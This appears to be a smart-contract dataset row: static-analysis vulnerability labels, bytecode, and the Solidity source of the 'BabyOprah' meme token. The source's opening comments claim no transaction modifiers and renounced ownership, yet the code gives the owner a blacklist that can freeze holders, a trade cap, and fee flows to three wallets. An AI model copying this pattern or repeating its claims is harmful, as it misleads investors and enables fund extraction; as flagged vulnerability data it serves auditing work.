237e6024913960400191505060405180910390fd5b6001600160a01b03821661115c5760405162461bcd60e51b81526004018080602001828103825260228152602001806122c56022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166112035760405162461bcd60e51b81526004018080602001828103825260258152602001806123596025913960400191505060405180910390fd5b6001600160a01b0382166112485760405162461bcd60e51b81526004018080602001828103825260238152602001806122786023913960400191505060405180910390fd5b600081116112875760405162461bcd60e51b81526004018080602001828103825260298152602001806123306029913960400191505060405180910390fd5b61128f6108d9565b6001600160a01b0316836001600160a01b0316141580156112c957506112b36108d9565b6001600160a01b0316826001600160a01b031614155b156115905760135477010000000000000000000000000000000000000000000000900460ff16156113e3576001600160a01b038316301480159061131657506001600160a01b0382163014155b801561133057506012546001600160a01b03848116911614155b801561134a57506012546001600160a01b03838116911614155b156113e3576012546001600160a01b03166113636110ce565b6001600160a01b0316148061139257506013546001600160a01b03166113876110ce565b6001600160a01b0316145b6113e3576040805162461bcd60e51b815260206004820152601160248201527f4552523a20556e6973776170206f6e6c79000000000000000000000000000000604482015290519081900360640190fd5b6014548111156113f257600080fd5b6001600160a01b03831660009081526007602052604090205460ff1615801561143457506001600160a01b03821660009081526007602052604090205460ff16155b61143d57600080fd5b6013546001600160a01b03848116911614801561146857506012546001600160a01b03838116911614155b801561148d57506001600160a01b03821660009081526005602052604090205460ff16155b80156114b6575060135477010000000000000000000000000000000000000000000000900460ff165b156114fe576001600160a01b03821660009081526008602052604090205442116114df57600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b6000611509306107a3565b6013549091507501000000000000000000000000000000000000000000900460ff1615801561154657506013546001600160a01b03858116911614155b801561156e5750601354760100000000000000000000000000000000000000000000900460ff165b1561158e5761157c81611769565b47801561158c5761158c47611684565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806115d257506001600160a01b03831660009081526005602052604090205460ff165b156115db575060005b6115e784848484611a4c565b50505050565b6000818484111561167c5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611641578181015183820152602001611629565b50505050905090810190601f16801561166e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc61169e836002611a0a565b6040518115909202916000818181858888f193505050501580156116c6573d6000803e3d6000fd5b506011546001600160a01b03166108fc6116e1836002611a0a565b6040518115909202916000818181858888f19350505050158015610a13573d6000803e3d6000fd5b6000600a5482111561174c5760405162461bcd60e51b815260040180806020018281038252602a81526020018061229b602a913960400191505060405180910390fd5b6000611756611b68565b90506117628382611a0a565b9392505050565b601380547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff167501000000000000000000000000000000000000000000179055604080516002808252606080830184529260208301908036833701905050905030816000815181106117d757fe5b6001600160a01b03928316602091820292909201810191909152601254604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c4648926004808301939192829003018186803b15801561184457600080fd5b505afa158015611858573d6000803e3d6000fd5b505050506040513d602081101561186e57600080fd5b505181518290600190811061187f57fe5b6001600160a01b0392831660209182029290920101526012546118a591309116846110d2565b6012546040517f791ac947000000000000000000000000000000000000000000000000000000008152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561194457818101518382015260200161192c565b505050509050019650505050505050600060405180830381600087803b15801561196d57600080fd5b505af1158015611981573d6000803e3d6000fd5b5050601380547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff16905550505050565b6000826119c057506000610570565b828202828482816119cd57fe5b04146117625760405162461bcd60e51b81526004018080602001828103825260218152602001806122e76021913960400191505060405180910390fd5b600061176283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b8b565b80611a5957611a59611bf0565b6001600160a01b03841660009081526006602052604090205460ff168015611a9a57506001600160a01b03831660009081526006602052604090205460ff16155b15611aaf57611aaa848484611c22565b611b5b565b6001600160a01b03841660009081526006602052604090205460ff16158015611af057506001600160a01b03831660009081526006602052604090205460ff165b15611b0057611aaa848484611d46565b6001600160a01b03841660009081526006602052604090205460ff168015611b4057506001600160a01b03831660009081526006602052604090205460ff165b15611b5057611aaa848484611def565b611b5b848484611e62565b806115e7576115e7611ea6565b6000806000611b75611eb4565b9092509050611b848282611a0a565b9250505090565b60008183611bda5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611641578181015183820152602001611629565b506000838581611be657fe5b0495945050505050565b600c54158015611c005750600d54155b15611c0a57611c20565b600c8054600e55600d8054600f55600091829055555b565b600080600080600080611c3487612033565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611c669088612090565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611c959087612090565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611cc490866120d2565b6001600160a01b038916600090815260026020526040902055611ce68161212c565b611cf084836121b4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611d5887612033565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611d8a9087612090565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611dc090846120d2565b6001600160a01b038916600090815260036020908152604080832093909355600290522054611cc490866120d2565b600080600080600080611e0187612033565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611e339088612090565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611d8a9087612090565b600080600080600080611e7487612033565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611c959087612090565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b600954811015611ff357826002600060098481548110611ee457fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611f495750816003600060098481548110611f2257fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611f6757600a54683635c9adc5dea000009450945050505061202f565b611fa76002600060098481548110611f7b57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490612090565b9250611fe96003600060098481548110611fbd57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390612090565b9150600101611ec8565b50600a5461200a90683635c9adc5dea00000611a0a565b82101561202957600a54683635c9adc5dea0000093509350505061202f565b90925090505b9091565b60008060008060008060008060006120508a600c54600d546121d8565b9250925092506000612060611b68565b905060008060006120738e878787612227565b919e509c509a509598509396509194505050505091939550919395565b600061176283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115ed565b600082820183811015611762576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000612136611b68565b9050600061214483836119b1565b3060009081526002602052604090205490915061216190826120d2565b3060009081526002602090815260408083209390935560069052205460ff1615610f87573060009081526003602052604090205461219f90846120d2565b30600090815260036020526040902055505050565b600a546121c19083612090565b600a55600b546121d190826120d2565b600b555050565b60008080806121ec606461106389896119b1565b905060006121ff60646110638a896119b1565b90506000612217826122118b86612090565b90612090565b9992985090965090945050505050565b600080808061223688866119b1565b9050600061224488876119b1565b9050600061225288886119b1565b90506000612264826122118686612090565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220ec3cc0c43b1afea9b65b7c0f75c5506b44ef7a6bd36ead92a71057342257423a64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,008 |
0x95a62d821a793f3623fca6e43976d88667f5d99f
|
/*
// No dev-wallets
// Locked liquidity
// Renounced ownership!
// No tx modifiers
// Community-Driven
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BabyOprah is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 2700000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
address payable private _feeAddrWallet3;
string private constant _name = "Baby Oprah || https://t.me/BabyOprah";
string private constant _symbol = "$BabyOprah";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable _add1,address payable _add2,address payable _add3) {
_feeAddrWallet1 = _add1;
_feeAddrWallet2 = _add2;
_feeAddrWallet3 =_add3;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = 3;
_feeAddr2 = 9;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 300000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function liftMaxTrnx() external onlyOwner{
_maxTxAmount = _tTotal;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount/10*3);
_feeAddrWallet2.transfer(amount/10*3);
_feeAddrWallet3.transfer(amount/10*3);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal/100*2;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function blacklist(address _address) external onlyOwner{
bots[_address] = true;
}
function removeBlacklist(address notbot) external onlyOwner{
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd80146102d1578063c9567bf9146102e6578063dd62ed3e146102fb578063eb91e65114610341578063f9f92be41461036157600080fd5b8063715018a6146102415780638da5cb5b1461025657806395d89b411461027e578063a9059cbb146102b157600080fd5b8063313ce567116100dc578063313ce567146101b957806335ffbc47146101d55780635932ead1146101ec5780636fc3eaec1461020c57806370a082311461022157600080fd5b806306fdde0314610119578063095ea7b31461014457806318160ddd1461017457806323b872dd1461019957600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5061012e610381565b60405161013b91906116b0565b60405180910390f35b34801561015057600080fd5b5061016461015f366004611620565b6103a1565b604051901515815260200161013b565b34801561018057600080fd5b5067257853b1dd8e00005b60405190815260200161013b565b3480156101a557600080fd5b506101646101b43660046115e0565b6103b8565b3480156101c557600080fd5b506040516009815260200161013b565b3480156101e157600080fd5b506101ea610421565b005b3480156101f857600080fd5b506101ea61020736600461164b565b610462565b34801561021857600080fd5b506101ea6104aa565b34801561022d57600080fd5b5061018b61023c366004611570565b6104d7565b34801561024d57600080fd5b506101ea6104f9565b34801561026257600080fd5b506000546040516001600160a01b03909116815260200161013b565b34801561028a57600080fd5b5060408051808201909152600a81526904884c2c4f29ee0e4c2d60b31b602082015261012e565b3480156102bd57600080fd5b506101646102cc366004611620565b61056d565b3480156102dd57600080fd5b506101ea61057a565b3480156102f257600080fd5b506101ea6105b0565b34801561030757600080fd5b5061018b6103163660046115a8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561034d57600080fd5b506101ea61035c366004611570565b61099a565b34801561036d57600080fd5b506101ea61037c366004611570565b6109e5565b606060405180606001604052806024815260200161185060249139905090565b60006103ae338484610a33565b5060015b92915050565b60006103c5848484610b57565b610417843361041285604051806060016040528060288152602001611874602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610dbf565b610a33565b5060019392505050565b6000546001600160a01b031633146104545760405162461bcd60e51b815260040161044b90611703565b60405180910390fd5b67257853b1dd8e0000601155565b6000546001600160a01b0316331461048c5760405162461bcd60e51b815260040161044b90611703565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104ca57600080fd5b476104d481610df9565b50565b6001600160a01b0381166000908152600260205260408120546103b290610ee2565b6000546001600160a01b031633146105235760405162461bcd60e51b815260040161044b90611703565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103ae338484610b57565b600c546001600160a01b0316336001600160a01b03161461059a57600080fd5b60006105a5306104d7565b90506104d481610f66565b6000546001600160a01b031633146105da5760405162461bcd60e51b815260040161044b90611703565b601054600160a01b900460ff16156106345760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044b565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610670308267257853b1dd8e0000610a33565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106a957600080fd5b505afa1580156106bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e1919061158c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561072957600080fd5b505afa15801561073d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610761919061158c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107a957600080fd5b505af11580156107bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e1919061158c565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d7194730610811816104d7565b6000806108266000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561088957600080fd5b505af115801561089d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108c29190611683565b50506010805461ffff60b01b191661010160b01b179055506108ed606467257853b1dd8e00006117c0565b6108f89060026117e0565b60115560108054600160a01b60ff60a01b19821617909155600f5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b15801561095e57600080fd5b505af1158015610972573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109969190611667565b5050565b6000546001600160a01b031633146109c45760405162461bcd60e51b815260040161044b90611703565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b03163314610a0f5760405162461bcd60e51b815260040161044b90611703565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610a955760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044b565b6001600160a01b038216610af65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bbb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044b565b6001600160a01b038216610c1d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044b565b60008111610c7f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044b565b6001600160a01b03831660009081526006602052604090205460ff1615610ca557600080fd5b6001600160a01b0383163014610daf576003600a556009600b556010546001600160a01b038481169116148015610cea5750600f546001600160a01b03838116911614155b8015610d0f57506001600160a01b03821660009081526005602052604090205460ff16155b8015610d245750601054600160b81b900460ff165b15610d3857601154811115610d3857600080fd5b6000610d43306104d7565b601054909150600160a81b900460ff16158015610d6e57506010546001600160a01b03858116911614155b8015610d835750601054600160b01b900460ff165b15610dad57610d9181610f66565b47670429d069189e0000811115610dab57610dab47610df9565b505b505b610dba83838361110b565b505050565b60008184841115610de35760405162461bcd60e51b815260040161044b91906116b0565b506000610df084866117ff565b95945050505050565b600c546001600160a01b03166108fc610e13600a846117c0565b610e1e9060036117e0565b6040518115909202916000818181858888f19350505050158015610e46573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610e61600a846117c0565b610e6c9060036117e0565b6040518115909202916000818181858888f19350505050158015610e94573d6000803e3d6000fd5b50600e546001600160a01b03166108fc610eaf600a846117c0565b610eba9060036117e0565b6040518115909202916000818181858888f19350505050158015610996573d6000803e3d6000fd5b6000600854821115610f495760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044b565b6000610f53611116565b9050610f5f8382611139565b9392505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fbc57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561101057600080fd5b505afa158015611024573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611048919061158c565b8160018151811061106957634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f5461108f9130911684610a33565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110c8908590600090869030904290600401611738565b600060405180830381600087803b1580156110e257600080fd5b505af11580156110f6573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b610dba83838361117b565b6000806000611123611272565b90925090506111328282611139565b9250505090565b6000610f5f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112b2565b60008060008060008061118d876112e0565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111bf908761133d565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111ee908661137f565b6001600160a01b038916600090815260026020526040902055611210816113de565b61121a8483611428565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161125f91815260200190565b60405180910390a3505050505050505050565b600854600090819067257853b1dd8e000061128d8282611139565b8210156112a95750506008549267257853b1dd8e000092509050565b90939092509050565b600081836112d35760405162461bcd60e51b815260040161044b91906116b0565b506000610df084866117c0565b60008060008060008060008060006112fd8a600a54600b5461144c565b925092509250600061130d611116565b905060008060006113208e8787876114a1565b919e509c509a509598509396509194505050505091939550919395565b6000610f5f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dbf565b60008061138c83856117a8565b905083811015610f5f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044b565b60006113e8611116565b905060006113f683836114f1565b30600090815260026020526040902054909150611413908261137f565b30600090815260026020526040902055505050565b600854611435908361133d565b600855600954611445908261137f565b6009555050565b6000808080611466606461146089896114f1565b90611139565b9050600061147960646114608a896114f1565b905060006114918261148b8b8661133d565b9061133d565b9992985090965090945050505050565b60008080806114b088866114f1565b905060006114be88876114f1565b905060006114cc88886114f1565b905060006114de8261148b868661133d565b939b939a50919850919650505050505050565b600082611500575060006103b2565b600061150c83856117e0565b90508261151985836117c0565b14610f5f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044b565b600060208284031215611581578081fd5b8135610f5f8161182c565b60006020828403121561159d578081fd5b8151610f5f8161182c565b600080604083850312156115ba578081fd5b82356115c58161182c565b915060208301356115d58161182c565b809150509250929050565b6000806000606084860312156115f4578081fd5b83356115ff8161182c565b9250602084013561160f8161182c565b929592945050506040919091013590565b60008060408385031215611632578182fd5b823561163d8161182c565b946020939093013593505050565b60006020828403121561165c578081fd5b8135610f5f81611841565b600060208284031215611678578081fd5b8151610f5f81611841565b600080600060608486031215611697578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156116dc578581018301518582016040015282016116c0565b818111156116ed5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156117875784516001600160a01b031683529383019391830191600101611762565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156117bb576117bb611816565b500190565b6000826117db57634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156117fa576117fa611816565b500290565b60008282101561181157611811611816565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146104d457600080fd5b80151581146104d457600080fdfe42616279204f70726168207c7c2068747470733a2f2f742e6d652f426162794f7072616845524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220be3efb555899a205624d3e19d20b268c341b05a89f1f398374ede3e11c2ed40164736f6c63430008040033
|
